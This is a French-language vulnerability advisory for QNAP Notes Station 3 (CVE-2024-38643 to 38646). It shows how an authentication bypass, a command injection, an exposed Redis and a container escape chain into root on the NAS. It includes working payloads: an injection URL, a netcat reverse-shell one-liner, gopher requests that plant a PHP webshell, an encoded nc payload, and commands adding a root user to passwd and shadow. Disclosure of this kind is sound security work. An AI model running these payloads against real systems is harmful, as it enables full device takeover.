QNAP QSA-24-36 : Notes Station 3 - Multiples vulnérabilités permettant la compromission totale du système - CVE-2024-38643, CVE-2024-38644, CVE-2024-38645, CVE-2024-38646

CVE CVE-2024-38646 CVE CVE-2024-38645 CVE CVE-2024-38644 CVE CVE-2024-38643 QNAP QSA-24-36 Notes Station 3 < 3.9.7

Historique (DD/MM/YYYY)

Résumé

Ce rapport présente plusieurs vulnérabilités affectant l’application NoteStation.

Les vulnérabilités peuvent être combinées pour permettre à un attaquant non authentifié de prendre le contrôle du système QTS avec des privilèges d’administration.

Contournement de l’authentification - CVE-2024-38643

Résumé

NoteStation est vulnérable à un contournement d’authentification, permettant à un attaquant non authentifié d’usurper l’identité de n’importe quel utilisateur de l’application. Pour exploiter cette vulnérabilité, l’attaquant a besoin de deux informations :

Détails Techniques

Pour accéder à la partie authentifiée de l’application, un middleware Laravel vérifie que l’utilisateur est bien authentifié. Le code du middleware est dans le fichier : /var/www/NotesStation3/app/Http/Middleware/Authenticate.php

Trois entêtes HTTP peuvent être utilisés comme alternative aux cookies NAS_SID ou QTS_SSID

$remote_user = $request->headers->get('X-Auth-Userid');
$remote_connectionid = $request->headers->get('X-Auth-Token');
$mobile = $request->headers->get('mobile');

Si l’entête mobile est définie, le format est vérifié et il doit être composé de trois parties :

if(isset($mobile) && !empty($mobile)) {
    $nas_info = explode(';', $mobile);
    foreach ($nas_info as $key => $info) {
        if(strstr($info, 'serverName')) {
            $server_name = explode(':', $info)[1];
        }
        if(strstr($info, 'username:')) {
            $username = explode(':', $info)[1];
        }
        if(strstr($info, 'sid:')) {
            $sid = explode(':', $info)[1];
        }
    }
    if(!isset($server_name) || !isset($username) || !isset($sid) || empty($sid) || empty($username) || empty($server_name)) {
        $ret['status'] = 101;
        $ret['message'] = 'the operation is not authorized';
        return response()->json($ret, 401);
    }

    // 1. check server name
    $check_sever = Config::get('app.server_name');
    if($check_sever != $server_name) {
        $ret['status'] = 101;
        $ret['message'] = 'the operation is not authorized';
        return response()->json($ret, 401);
    }

La variable server_name est vérifiée et doit être identique au NAS. Cette valeur peut être récupérée par une requête GET sur cgi-bin/authLogin.cgi.

Ensuite, les valeurs X-Auth-Userid et X-Auth-Token sont envoyées avec la variable username à la méthode Qnap_nas->create_userid.

public function create_userid($username, $connectionid, $sid, $migrate=false, $share_check=false,$createCookie=true)
{
    $user_session = new SessionModel;
    $user = new UserModel;
    $sys_mod = new SystemModel;
    $my_mod = new MyModel;

    $nasUserInfo = $this->get_nas_user_uid($username);

    if($nasUserInfo==FALSE) {
        $uid = $this->check_Ldap($username);
        $login_id = $username;
        $login_server = '2';
        if(!$uid && empty($uid)) {
            $ADinfo = $this->check_ADserver($username);
            $login_server = '3';
            if(!$ADinfo['uid'] && empty($ADinfo['uid'])) {
                return FALSE;
            }
            $login_id = $ADinfo['username'];
            $uid = $ADinfo['uid'];
        }
    }else{
        $uid = $nasUserInfo['uid'];
        $login_id = $nasUserInfo['userName'];

        $user->check_duplicate_uid($uid,$login_id);
        $login_server = '1';
    }

La commande get_nas_user_uid ne vérifie que si le nom d’utilisateur se trouve dans le fichier passwd. Le compte admin, même s’il est désactivé, est présent dans ce fichier et peut être utilisé comme nom d’utilisateur.

Les champs connectionid et sid ne sont pas utilisés pour vérifier l’authentification de l’utilisateur et peuvent prendre une valeur arbitraire.

Exploitation

Un attaquant doit d’abord obtenir la valeur de la partie serverName pour l’entête Mobile

Ensuite, une requête peut être faite sur /ns/api/v2/user/loginid avec l’entête Mobile pour vérifier que l’authentification est bien contournée.

Exécution de commande arbitraire - CVE-2024-38644

Résumé

Un utilisateur authentifié est en mesure d’exécuter une commande arbitraire en tant qu’utilisateur www-data. L’utilisateur www-data peut élever ses privilèges pour exécuter des commandes en tant que root.

Détails Techniques

La fonction set_file de la classe NoteFile utilise une commande sans vérifier l’entrée de l’utilisateur.

Pour accéder à cette partie du code, un paramètre de requête url doit être défini et doit se terminer par « .img » pour correspondre à la condition if.

Avant de déclencher l’injection de commande, l’URL sera utilisée dans un appel PHP curl, donc la première partie doit être un lien valide.

Voici un exemple :

http://127.0.0.1/";echo ‘<?php phpinfo();’>/var/www/NotesStation3/public/phpinfo.php;".img

Elévation de privilèges

Dans le conteneur, l’application Laravel NoteStation s’exécute en tant que www-data. Il est possible pour un attaquant d’obtenir les privilèges de l’utilisateur root en exploitant les tâches cron.

Les tâches cron s’exécutant en tant que root sont définies dans le fichier /etc/crontabs/root.

95d162514bcc:/var/www/NotesStation3 $ cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
# min   hour    day     month   weekday command
*/15    *       *       *       *       run-parts /etc/periodic/15min
0       *       *       *       *       run-parts /etc/periodic/hourly
0       2       *       *       *       run-parts /etc/periodic/daily
0       3       *       *       6       run-parts /etc/periodic/weekly
0       5       1       *       *       run-parts /etc/periodic/monthly
*       *       *       *       *       /usr/bin/php /var/www/NotesStation3/artisan Synchronizer
*       *       *       *       *       /usr/bin/php /var/www/NotesStation3/artisan SynchronizerRemote

Le fichier /var/www/NotesStation3/artisan est utilisé, mais ce fichier est accessible en écriture par l’utilisateur www-data. Par conséquent, si le code malveillant injecté par l’utilisateur www-data se trouve dans le fichier artisan, ce code sera exécuté en tant que root.

Par exemple, le code suivant donnera un reverse shell root à l’attaquant :

#!/usr/bin/env php
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f'); 
?>

Redis sans authentification s’éxecutant en root : CVE-2024-38645

Résumé

Le serveur Redis est exécuté en tant que root et ne nécessite aucune authentification. Un attaquant ayant accès au réseau local est capable d’extraire les clés. Les données du serveur Redis peuvent être transférées vers un emplacement arbitraire, ce qui peut potentiellement conduire à l’exécution d’une commande.

Détails Techniques

Le serveur Redis peut être utilisé de plusieurs façons pour prendre le contrôle d’un compte ou de l’application NoteStation.

Tout d’abord, il peut être utilisé par un utilisateur authentifié pour lire toutes les clés et récupérer le SID d’un utilisateur authentifié.

De plus, un attaquant peut créer un web shell en injectant du code PHP dans une clé et en exportant la configuration dans un fichier PHP à l’intérieur du dossier racine du site web.

Enfin, comme le serveur Redis est exécuté en tant que root, certains fichiers peuvent être modifiés pour obtenir un reverse shell root.

Récuperer les clés Redis

Pour extraire les données, le serveur Redis doit recevoir la commande SAVE. Les données sont sauvegardées dans le dossier et le fichier définis dans la configuration. Pour pouvoir lire ce fichier, celui-ci doit se trouver dans le dossier public de l’application NoteStation.

Un attaquant peut utiliser l’url note/{connection_id}/{note_id}/image/{image_id?} avec le paramètre URL pour exploiter une vulnérabilité SSRF, lui permettant de communiquer avec le serveur Redis à travers le protocole Gopher.

En envoyant trois commandes, l’attaquant pourra télécharger le dump des données de Redis.

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/public/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-export
gopher://127.0.0.1:6379/_SAVE

Avec le dump téléchargé, l’attaquant peut lister les SID des utilisateurs connectés et vérifier si le SID appartient à un compte administrateur.

Déposer du code PHP personnalisé

Ce dump peut être utilisé pour exécuter du code PHP arbitraire.

Par exemple :

gopher://127.0.0.1:6379/_SET%20webshell%20"<%3fphp%20phpinfo();%3f>" # Set PHP content
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-info.php # Set filename wit php extension
gopher://127.0.0.1:6379/_SAVE

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20artisan
gopher://127.0.0.1:6379/_SET%20webshell%20"%23!/usr/bin/env+php
\n<%3fphp%20system(base64_decode('bmMgMTAuMC4xMC4xNCAxMzM3IC1lIHNo'));%3f>"
gopher://127.0.0.1:6379/_SAVE

Le dump Redis est au format binaire et peut casser certains codes PHP.

Échappement du conteneur d’application - CVE-2024-38646

Résumé

Un attaquant disposant d’un shell dans le conteneur NoteStation est en mesure d’interagir avec le NAS et d’y créer un compte administrateur.

Détails Techniques

Le répertoire du NAS “/etc/config” est monté avec des droits de lecture et d’écriture à l’intérieur du conteneur sur le répertoire “/qts/etc/config”.

Une fois que l’attaquant dispose d’un reverse shell en tant que root à l’intérieur du conteneur NoteStation, il peut créer un utilisateur avec des privilèges d’administration et modifier ces fichiers :

Par exemple :

echo "notestation_exploit:x:0:0:administrator:/share/homes/admin:/bin/sh" >> /qts/etc/config/passwd
echo "notestation_exploit:$(openssl passwd -1 pwnpwn):19517:0:99999:7:::" >> /qts/etc/config/shadow